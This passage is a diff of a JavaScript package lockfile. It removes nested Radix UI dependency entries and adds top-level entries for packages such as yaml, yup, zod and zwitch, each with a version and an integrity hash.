"@radix-ui/react-arrow/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.6", "", { "dependencies": { "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wetd0QI77DbvrPpTAvH1SqOxsYF2wZe5TNxqwOd5Ty4XDpV3dpV0s8K/1MGMJBeY5o7lg8ub5VIt1Ub+yVen6g=="], - - "@radix-ui/react-collapsible/@radix-ui/primitive": ["@radix-ui/primitive@1.1.4", "", {}, "sha512-7AdCK9PQyiljKoBDbN8OuctCbd/esdwZPQ8RtOE3SsyQtUpiPb+ND75q0jEhC1m1ecBI0MFNeLJvwIh9iKHRcQ=="], - - "@radix-ui/react-collapsible/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-rYOP8OMnuuPMQF1uhPVlGNcCDlkokKqGFE3JcxFViIkAXP7EvFWUliJAstrapypaBLJNHbZL6jGhbVDGTwmVhA=="], - - "@radix-ui/react-collapsible/@radix-ui/react-context": ["@radix-ui/react-context@1.1.4", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-QwH4PO5urrbO+FaGd5Aglg+YJgWTyyuZ3g/6mKvsqraLkglDdckw9JafgL5McL5VEJ6EPNduPaT3ZE9BttDAqg=="], - - "@radix-ui/react-collapsible/@radix-ui/react-id": ["@radix-ui/react-id@1.1.2", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-orBC88futVpqCmhX1p4cvquNHsELQ+w+vBJnuj3ftETI5bJb0bZn3Tqu3SWN2IOcPycTnMGnhwoermvISt72sA=="], - - "@radix-ui/react-collapsible/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.6", "", { "dependencies": { "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wetd0QI77DbvrPpTAvH1SqOxsYF2wZe5TNxqwOd5Ty4XDpV3dpV0s8K/1MGMJBeY5o7lg8ub5VIt1Ub+yVen6g=="], - - "@radix-ui/react-collapsible/@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.2.3", "", { "dependencies": { "@radix-ui/react-use-effect-event": "0.0.3", "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-PLzC90MS+ReootmjC597dvopoelpZ8Q61HJkDXZSExitIq7PL55vHNnesAHwguHK0aPfBnpdNzQtv1uliaqQrA=="], - - "@radix-ui/react-collection/@radix-ui/react-slot": ["@radix-ui/react-slot@1.2.3", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A=="], - - "@radix-ui/react-dialog/@radix-ui/primitive": ["@radix-ui/primitive@1.1.4", "", {}, "sha512-7AdCK9PQyiljKoBDbN8OuctCbd/esdwZPQ8RtOE3SsyQtUpiPb+ND75q0jEhC1m1ecBI0MFNeLJvwIh9iKHRcQ=="], - - "@radix-ui/react-dialog/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-rYOP8OMnuuPMQF1uhPVlGNcCDlkokKqGFE3JcxFViIkAXP7EvFWUliJAstrapypaBLJNHbZL6jGhbVDGTwmVhA=="], - - "@radix-ui/react-dialog/@radix-ui/react-context": ["@radix-ui/react-context@1.1.4", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-QwH4PO5urrbO+FaGd5Aglg+YJgWTyyuZ3g/6mKvsqraLkglDdckw9JafgL5McL5VEJ6EPNduPaT3ZE9BttDAqg=="], - - "@radix-ui/react-dialog/@radix-ui/react-id": ["@radix-ui/react-id@1.1.2", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-orBC88futVpqCmhX1p4cvquNHsELQ+w+vBJnuj3ftETI5bJb0bZn3Tqu3SWN2IOcPycTnMGnhwoermvISt72sA=="], - - "@radix-ui/react-dialog/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.6", "", { "dependencies": { "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wetd0QI77DbvrPpTAvH1SqOxsYF2wZe5TNxqwOd5Ty4XDpV3dpV0s8K/1MGMJBeY5o7lg8ub5VIt1Ub+yVen6g=="], - - "@radix-ui/react-dialog/@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.2.3", "", { "dependencies": { "@radix-ui/react-use-effect-event": "0.0.3", "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-PLzC90MS+ReootmjC597dvopoelpZ8Q61HJkDXZSExitIq7PL55vHNnesAHwguHK0aPfBnpdNzQtv1uliaqQrA=="], - - "@radix-ui/react-dismissable-layer/@radix-ui/primitive": ["@radix-ui/primitive@1.1.4", "", {}, "sha512-7AdCK9PQyiljKoBDbN8OuctCbd/esdwZPQ8RtOE3SsyQtUpiPb+ND75q0jEhC1m1ecBI0MFNeLJvwIh9iKHRcQ=="], - - "@radix-ui/react-dismissable-layer/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-rYOP8OMnuuPMQF1uhPVlGNcCDlkokKqGFE3JcxFViIkAXP7EvFWUliJAstrapypaBLJNHbZL6jGhbVDGTwmVhA=="], - - "@radix-ui/react-dismissable-layer/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.6", "", { "dependencies": { "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wetd0QI77DbvrPpTAvH1SqOxsYF2wZe5TNxqwOd5Ty4XDpV3dpV0s8K/1MGMJBeY5o7lg8ub5VIt1Ub+yVen6g=="], - - "@radix-ui/react-focus-scope/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-rYOP8OMnuuPMQF1uhPVlGNcCDlkokKqGFE3JcxFViIkAXP7EvFWUliJAstrapypaBLJNHbZL6jGhbVDGTwmVhA=="], - - "@radix-ui/react-focus-scope/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.6", "", { "dependencies": { "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wetd0QI77DbvrPpTAvH1SqOxsYF2wZe5TNxqwOd5Ty4XDpV3dpV0s8K/1MGMJBeY5o7lg8ub5VIt1Ub+yVen6g=="], - - "@radix-ui/react-id/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ=="], - - "@radix-ui/react-navigation-menu/@radix-ui/primitive": ["@radix-ui/primitive@1.1.4", "", {}, "sha512-7AdCK9PQyiljKoBDbN8OuctCbd/esdwZPQ8RtOE3SsyQtUpiPb+ND75q0jEhC1m1ecBI0MFNeLJvwIh9iKHRcQ=="], - - "@radix-ui/react-navigation-menu/@radix-ui/react-collection": ["@radix-ui/react-collection@1.1.10", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.3", "@radix-ui/react-context": "1.1.4", "@radix-ui/react-primitive": "2.1.6", "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-IVVz4EvBcKjrzKgof714qDnz/SzQAkLA2Emh5edlHbgcE6fNd3Un6CJLlaYcnm8N4JmAtzQgse4dOKxcD2yc9g=="], - - "@radix-ui/react-navigation-menu/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-rYOP8OMnuuPMQF1uhPVlGNcCDlkokKqGFE3JcxFViIkAXP7EvFWUliJAstrapypaBLJNHbZL6jGhbVDGTwmVhA=="], - - "@radix-ui/react-navigation-menu/@radix-ui/react-context": ["@radix-ui/react-context@1.1.4", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-QwH4PO5urrbO+FaGd5Aglg+YJgWTyyuZ3g/6mKvsqraLkglDdckw9JafgL5McL5VEJ6EPNduPaT3ZE9BttDAqg=="], - - "@radix-ui/react-navigation-menu/@radix-ui/react-id": ["@radix-ui/react-id@1.1.2", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-orBC88futVpqCmhX1p4cvquNHsELQ+w+vBJnuj3ftETI5bJb0bZn3Tqu3SWN2IOcPycTnMGnhwoermvISt72sA=="], - - "@radix-ui/react-navigation-menu/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.6", "", { "dependencies": { "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wetd0QI77DbvrPpTAvH1SqOxsYF2wZe5TNxqwOd5Ty4XDpV3dpV0s8K/1MGMJBeY5o7lg8ub5VIt1Ub+yVen6g=="], - - "@radix-ui/react-navigation-menu/@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.2.3", "", { "dependencies": { "@radix-ui/react-use-effect-event": "0.0.3", "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-PLzC90MS+ReootmjC597dvopoelpZ8Q61HJkDXZSExitIq7PL55vHNnesAHwguHK0aPfBnpdNzQtv1uliaqQrA=="], - - "@radix-ui/react-popover/@radix-ui/primitive": ["@radix-ui/primitive@1.1.4", "", {}, "sha512-7AdCK9PQyiljKoBDbN8OuctCbd/esdwZPQ8RtOE3SsyQtUpiPb+ND75q0jEhC1m1ecBI0MFNeLJvwIh9iKHRcQ=="], - - "@radix-ui/react-popover/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-rYOP8OMnuuPMQF1uhPVlGNcCDlkokKqGFE3JcxFViIkAXP7EvFWUliJAstrapypaBLJNHbZL6jGhbVDGTwmVhA=="], - - "@radix-ui/react-popover/@radix-ui/react-context": ["@radix-ui/react-context@1.1.4", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-QwH4PO5urrbO+FaGd5Aglg+YJgWTyyuZ3g/6mKvsqraLkglDdckw9JafgL5McL5VEJ6EPNduPaT3ZE9BttDAqg=="], - - "@radix-ui/react-popover/@radix-ui/react-id": ["@radix-ui/react-id@1.1.2", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-orBC88futVpqCmhX1p4cvquNHsELQ+w+vBJnuj3ftETI5bJb0bZn3Tqu3SWN2IOcPycTnMGnhwoermvISt72sA=="], - - "@radix-ui/react-popover/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.6", "", { "dependencies": { "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wetd0QI77DbvrPpTAvH1SqOxsYF2wZe5TNxqwOd5Ty4XDpV3dpV0s8K/1MGMJBeY5o7lg8ub5VIt1Ub+yVen6g=="], - - "@radix-ui/react-popover/@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.2.3", "", { "dependencies": { "@radix-ui/react-use-effect-event": "0.0.3", "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-PLzC90MS+ReootmjC597dvopoelpZ8Q61HJkDXZSExitIq7PL55vHNnesAHwguHK0aPfBnpdNzQtv1uliaqQrA=="], - - "@radix-ui/react-popper/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-rYOP8OMnuuPMQF1uhPVlGNcCDlkokKqGFE3JcxFViIkAXP7EvFWUliJAstrapypaBLJNHbZL6jGhbVDGTwmVhA=="], - - "@radix-ui/react-popper/@radix-ui/react-context": ["@radix-ui/react-context@1.1.4", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-QwH4PO5urrbO+FaGd5Aglg+YJgWTyyuZ3g/6mKvsqraLkglDdckw9JafgL5McL5VEJ6EPNduPaT3ZE9BttDAqg=="], - - "@radix-ui/react-popper/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.6", "", { "dependencies": { "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wetd0QI77DbvrPpTAvH1SqOxsYF2wZe5TNxqwOd5Ty4XDpV3dpV0s8K/1MGMJBeY5o7lg8ub5VIt1Ub+yVen6g=="], - - "@radix-ui/react-portal/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.6", "", { "dependencies": { "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wetd0QI77DbvrPpTAvH1SqOxsYF2wZe5TNxqwOd5Ty4XDpV3dpV0s8K/1MGMJBeY5o7lg8ub5VIt1Ub+yVen6g=="], - - "@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.2.3", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A=="], - - "@radix-ui/react-roving-focus/@radix-ui/primitive": ["@radix-ui/primitive@1.1.4", "", {}, "sha512-7AdCK9PQyiljKoBDbN8OuctCbd/esdwZPQ8RtOE3SsyQtUpiPb+ND75q0jEhC1m1ecBI0MFNeLJvwIh9iKHRcQ=="], - - "@radix-ui/react-roving-focus/@radix-ui/react-collection": ["@radix-ui/react-collection@1.1.10", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.3", "@radix-ui/react-context": "1.1.4", "@radix-ui/react-primitive": "2.1.6", "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-IVVz4EvBcKjrzKgof714qDnz/SzQAkLA2Emh5edlHbgcE6fNd3Un6CJLlaYcnm8N4JmAtzQgse4dOKxcD2yc9g=="], - - "@radix-ui/react-roving-focus/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-rYOP8OMnuuPMQF1uhPVlGNcCDlkokKqGFE3JcxFViIkAXP7EvFWUliJAstrapypaBLJNHbZL6jGhbVDGTwmVhA=="], - - "@radix-ui/react-roving-focus/@radix-ui/react-context": ["@radix-ui/react-context@1.1.4", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-QwH4PO5urrbO+FaGd5Aglg+YJgWTyyuZ3g/6mKvsqraLkglDdckw9JafgL5McL5VEJ6EPNduPaT3ZE9BttDAqg=="], - - "@radix-ui/react-roving-focus/@radix-ui/react-id": ["@radix-ui/react-id@1.1.2", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-orBC88futVpqCmhX1p4cvquNHsELQ+w+vBJnuj3ftETI5bJb0bZn3Tqu3SWN2IOcPycTnMGnhwoermvISt72sA=="], - - "@radix-ui/react-roving-focus/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.6", "", { "dependencies": { "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wetd0QI77DbvrPpTAvH1SqOxsYF2wZe5TNxqwOd5Ty4XDpV3dpV0s8K/1MGMJBeY5o7lg8ub5VIt1Ub+yVen6g=="], - - "@radix-ui/react-roving-focus/@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.2.3", "", { "dependencies": { "@radix-ui/react-use-effect-event": "0.0.3", "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-PLzC90MS+ReootmjC597dvopoelpZ8Q61HJkDXZSExitIq7PL55vHNnesAHwguHK0aPfBnpdNzQtv1uliaqQrA=="], - - "@radix-ui/react-scroll-area/@radix-ui/primitive": ["@radix-ui/primitive@1.1.4", "", {}, "sha512-7AdCK9PQyiljKoBDbN8OuctCbd/esdwZPQ8RtOE3SsyQtUpiPb+ND75q0jEhC1m1ecBI0MFNeLJvwIh9iKHRcQ=="], - - "@radix-ui/react-scroll-area/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-rYOP8OMnuuPMQF1uhPVlGNcCDlkokKqGFE3JcxFViIkAXP7EvFWUliJAstrapypaBLJNHbZL6jGhbVDGTwmVhA=="], - - "@radix-ui/react-scroll-area/@radix-ui/react-context": ["@radix-ui/react-context@1.1.4", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-QwH4PO5urrbO+FaGd5Aglg+YJgWTyyuZ3g/6mKvsqraLkglDdckw9JafgL5McL5VEJ6EPNduPaT3ZE9BttDAqg=="], + "yaml": ["yaml@2.9.0", "", { "bin": { "yaml": "bin.mjs" } }, "sha512-2AvhNX3mb8zd6Zy7INTtSpl1F15HW6Wnqj0srWlkKLcpYl/gMIMJiyuGq2KeI2YFxUPjdlB+3Lc10seMLtL4cA=="], - "@radix-ui/react-scroll-area/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.6", "", { "dependencies": { "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wetd0QI77DbvrPpTAvH1SqOxsYF2wZe5TNxqwOd5Ty4XDpV3dpV0s8K/1MGMJBeY5o7lg8ub5VIt1Ub+yVen6g=="], + "yuku-analyzer": ["yuku-analyzer@0.9.3", "", { "dependencies": { "@yuku-toolchain/types": "^0.9.3", "yuku-ast": "^0.9.3" }, "optionalDependencies": { "@yuku-analyzer/binding-android-arm64": "0.9.3", "@yuku-analyzer/binding-darwin-arm64": "0.9.3", "@yuku-analyzer/binding-darwin-x64": "0.9.3", "@yuku-analyzer/binding-freebsd-x64": "0.9.3", "@yuku-analyzer/binding-linux-arm-gnu": "0.9.3", "@yuku-analyzer/binding-linux-arm-musl": "0.9.3", "@yuku-analyzer/binding-linux-arm64-gnu": "0.9.3", "@yuku-analyzer/binding-linux-arm64-musl": "0.9.3", "@yuku-analyzer/binding-linux-x64-gnu": "0.9.3", "@yuku-analyzer/binding-linux-x64-musl": "0.9.3", "@yuku-analyzer/binding-win32-arm64": "0.9.3", "@yuku-analyzer/binding-win32-x64": "0.9.3" } }, "sha512-2xSREErroEF8boH7XyKfVO5hbjP6PCIYYnLR2Abg6PGJaFVbETLucmbzIebBOHeyY4GO6VXzloTuhUldR/zyew=="], - "@radix-ui/react-slot/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-rYOP8OMnuuPMQF1uhPVlGNcCDlkokKqGFE3JcxFViIkAXP7EvFWUliJAstrapypaBLJNHbZL6jGhbVDGTwmVhA=="], + "yuku-ast": ["yuku-ast@0.9.3", "", { "dependencies": { "@yuku-toolchain/types": "^0.9.3" } }, "sha512-Kt0PXlPCXdKF1fWFTl7N3DaxsVk6DHF8VAXHJMkwPtJnWYgbx20pYgGSweuC/86mIM7k1NUITQ4JffgOLUWTCw=="], - "@radix-ui/react-tabs/@radix-ui/primitive": ["@radix-ui/primitive@1.1.4", "", {}, "sha512-7AdCK9PQyiljKoBDbN8OuctCbd/esdwZPQ8RtOE3SsyQtUpiPb+ND75q0jEhC1m1ecBI0MFNeLJvwIh9iKHRcQ=="], + "yup": ["yup@1.7.1", "", { "dependencies": { "property-expr": "^2.0.5", "tiny-case": "^1.0.3", "toposort": "^2.0.2", "type-fest": "^2.19.0" } }, "sha512-GKHFX2nXul2/4Dtfxhozv701jLQHdf6J34YDh2cEkpqoo8le5Mg6/LrdseVLrFarmFygZTlfIhHx/QKfb/QWXw=="], - "@radix-ui/react-tabs/@radix-ui/react-context": ["@radix-ui/react-context@1.1.4", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-QwH4PO5urrbO+FaGd5Aglg+YJgWTyyuZ3g/6mKvsqraLkglDdckw9JafgL5McL5VEJ6EPNduPaT3ZE9BttDAqg=="], + "zbsearch": ["zbsearch@4.0.0", "", {}, "sha512-gm4zfO31n2ZdruTTRQoWVWO4Q2+zrDt2GlrvIc+5JulRQNAm4IanCxER82vQ7Ug96FYkGqWUJBXFe1kGAcDWaQ=="], - "@radix-ui/react-tabs/@radix-ui/react-id": ["@radix-ui/react-id@1.1.2", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-orBC88futVpqCmhX1p4cvquNHsELQ+w+vBJnuj3ftETI5bJb0bZn3Tqu3SWN2IOcPycTnMGnhwoermvISt72sA=="], + "zod": ["zod@4.5.4", "", {}, "sha512-sC95tT5iHHH9gtpj6A81kh+NEaRAUFN+qlUPDUbRfOMvNf5QCBqsb3WgvnpVtK5Y+4UfA6KqufotuTvMGiTlsA=="], - "@radix-ui/react-tabs/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.6", "", { "dependencies": { "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wetd0QI77DbvrPpTAvH1SqOxsYF2wZe5TNxqwOd5Ty4XDpV3dpV0s8K/1MGMJBeY5o7lg8ub5VIt1Ub+yVen6g=="], + "zwitch": ["zwitch@2.0.4", "", {}, "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A=="], - "@radix-ui/react-tabs/@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.2.3", "", { "dependencies": { "@radix-ui/react-use-effect-event": "0.0.3", "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, 